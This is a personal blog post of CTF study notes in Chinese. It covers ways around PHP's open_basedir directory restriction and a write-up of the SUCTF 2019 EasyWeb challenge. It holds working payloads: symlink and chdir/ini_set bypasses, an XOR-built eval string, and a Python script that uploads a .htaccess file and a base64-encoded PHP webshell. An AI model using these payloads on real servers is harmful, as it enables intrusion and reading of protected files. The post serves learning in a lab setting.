每天都在写,但是还没一个可以上传的。不能让博客长草(
就把之前稍稍整理了一下的小小知识点传一下,就当作是备份了,害怕哪天电脑炸了~
(真的整理得很简单,就跟着网上的整理自己过了一遍,师傅们看个乐就好
open_basedir认识及绕过
open_basedir
open_basedir
函数是php中用于限制访问目录的函数
1.可以在php.ini
中设置
2.可以用ini_set
设置
3.在apache的httpd.conf中的Directory配置
4.httpd.conf中的VritualHost
5.nginx fastcgi.conf
测试过程:
直接在虚拟机上进行以下命令没有实现,但是可以写在php文件中再执行。
1
| php -r 'ini_set("open_basedir","/var/www/html/");'
|
php文件:
1 2 3 4
| <?php ini_set('open_basedir','/var/www/html/'); echo ini_get('open_basedir'); ?>
|
之后在html目录下写一个php文件尝试访问根目录下的flag,但是报错了
1 2
| <?php file_get_contents('/flag');
|
以上实现了open_basedir
的简单利用
bypass方法
浅谈几种Bypass open_basedir的方法
0x01:命令执行函数绕过
open_basedir
函数对命令执行函数没有限制,比如system,所以可以在php文件中修改代码就可以直接得到flag了
0x02:symlink函数绕过
利用symlink函数
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php mkdir('A'); chdir('A'); mkdir('B'); chdir('B'); mkdir('C'); chdir('C'); mkdir('D'); chdir('D'); chdir('..'); chdir('..'); chdir('..'); chdir('..'); symlink('A/B/C/D','a');
symlink('a/../../../../flag','exp'); unlink('a'); mkdir('a'); ?>
|
本来exp是指向了当前目录下a/../../../../flag
,但是后来删除了a,所以前面的exp实际指向的是/../../../../flag
即向上跨越目录访问根目录下的flag文件
tip:子目录的数量以及..
的数量要根据我们要访问的文件在哪,要跨越多少个目录,注意要算上当前的目录
0x03:glob://伪协议绕过
1.结合DirectoryIterator
(只可以访问根目录以及open_basedir限制的目录)
(还是看php手册自己尝试)
DirectoryIterator遍历目录下的所有文件
可以获取文件名
__toString
1 2 3 4 5
| <?php $a = Directorylterator($_GET['cmd']); foreach($a as $file){ echo $file->__toString(); }
|
getFilename
1 2 3 4 5 6 7
| <?php $a = Directorylterator($_GET['cmd']); foreach($a as $file){ if($file->isFile()){ echo $file->getFilename(); } }
|
2.结合opendir()+readdir()
(只能访问根目录以及open_basedir限制的目录)
1 2 3 4 5
| <?php $a = opendir($_GET['cmd']); if(($file=readdir($a))!==false){ echo $file.'<br>'; }
|
0x04:chdir()+ini_set()结合
1.首先要注意php文件不能在根目录以及open_basedir所规定的目录下,需要新建一个文件
2.要设置一个可以进行跳转的open_basedir
3.chdir应该是用来进行跳转目录的,但是不知道为什么一定是四个
(先记payload吧)
1 2 3 4 5 6 7 8 9 10 11 12
| <?php mkdir('yuer'); chdir('yuer'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/'); echo ini_get('open_basedir'); echo file_get_contents('/flag') ?>
|
[SUCTF 2019]EasyWeb
- 无字母数字的webshell
- 利用python requests上传文件
- .htaccess
- bypass open_basedir
bypass open_basedir的新方法
从PHP底层看open_basedir bypass
BUU WEB [SUCTF 2019]EasyWeb
简单例子:
python requests文件上传
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| <?php function get_the_flag(){ $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']); if(!file_exists($userdir)){ mkdir($userdir); } if(!empty($_FILES["file"])){ $tmp_name = $_FILES["file"]["tmp_name"]; $name = $_FILES["file"]["name"]; $extension = substr($name, strrpos($name,".")+1); if(preg_match("/ph/i",$extension)) die("^_^"); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^"); if(!exif_imagetype($tmp_name)) die("^_^"); $path= $userdir."/".$name; @move_uploaded_file($tmp_name, $path); print_r($path); } }
$hhh = @$_GET['_'];
if (!$hhh){ highlight_file(__FILE__); }
if(strlen($hhh)>18){ die('One inch long, one inch strong!'); }
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) ) die('Try something else!');
$character_type = count_chars($hhh, 3); if(strlen($character_type)>12) die("Almost there!");
eval($hhh); ?>
|
审计:
直接ban了字母和数字,还有取反符号,还有_
,这样只能利用异或^
符号进行运算了
1 2
| if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) ) die('Try something else!');
|
文件拓展名不能出现ph
1
| if(preg_match("/ph/i",$extension)) die("^_^");
|
文件内容里面不能出现标签<?
1
| if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
|
文件头进行限制
如果发现了恰当的签名则返回一个对应的常量,否则返回 FALSE。返回值和 getimagesize() 返回的数组中的索引 2 的值是一样的,但本函数快得多。
1
| if(!exif_imagetype($tmp_name)) die("^_^");
|
count_chars($hhh, 3);
3 - 返回由所有使用了的字节值组成的字符串。
解题:
step1:
先解决异或吧,之前用c写过,这次用php写一下(注意有很多可见字符都被ban了,唔,那试试用不可见字符)
这里选择的payload由于函数exif_imagetype
的限制,必须存在四个字符一样
1 2 3 4 5 6 7 8 9 10 11 12
| <?php $str = '_GET'; $res = ''; for($i=128;$i<=255;$i++){ for($j=128;$j<=255;$j++){ $a = $i^$j; if(chr($a)=='_') echo dechex($i).'^'.dechex($j).'='.chr($a)."\n"; } }
|
step2:
被禁了很多函数,并且从php7开始<script language="php"></script>
就不再支持了,所以要从函数get_the_flag
,但是还不会python上传文件
学习requests库的新用法,主要代码
res = requests.post(url, data=data, files=files, headers=headers)
但是上传文件的内容是什么才是最核心的,因为直接禁止了ph
的出现,所以没办法通过后缀名简单绕过,那么就要用到.user.ini
或者.htaccess
别人的wp:
(但是不是很懂?要去学习.user.ini
和.htaccess
的具体作用)
(注:代码中data不能省略,虽然一般人应该不会省略;
难点在于.htaccess
的文件内容)
最后还是照着大佬的脚本写了一下,实现方法其实简单,难的还是上传的文件内容的各种绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| import requests import base64
url = 'http://13d03a1c-3beb-47f6-a48b-baf03f1e046e.node4.buuoj.cn/?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag'
shell =b"GIF89a12"+base64.b64encode(b"<?php @eval($_REQUEST['cmd']);?>")
htaccess = b""" #define width 1337 #define height 1337 AddType application/x-httpd-php .ahh php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ahh" """
data = {'upload':'Submit'} files = {'file':('.htaccess',htaccess,'image/gif')} r = requests.post(url,data=data,files=files) print((r.text))
files = {'file':('shell.ahh',shell,'image/gif')} r = requests.post(url,data=data,files=files) print(r.text)
|
得到文件上传路径,直接访问shell文件并利用cmd进行命令执行,不过由于phpinfo里面禁了很多函数,所以并不能直接利用命令执行函数得到flag
然后可以发现open_basedir
对可访问目录进行限制,那么可以直接上payload
1 2 3 4 5 6 7
| ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/'); print_r(scandir('.'));
|
1
| ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/THis_Is_tHe_F14g'));
|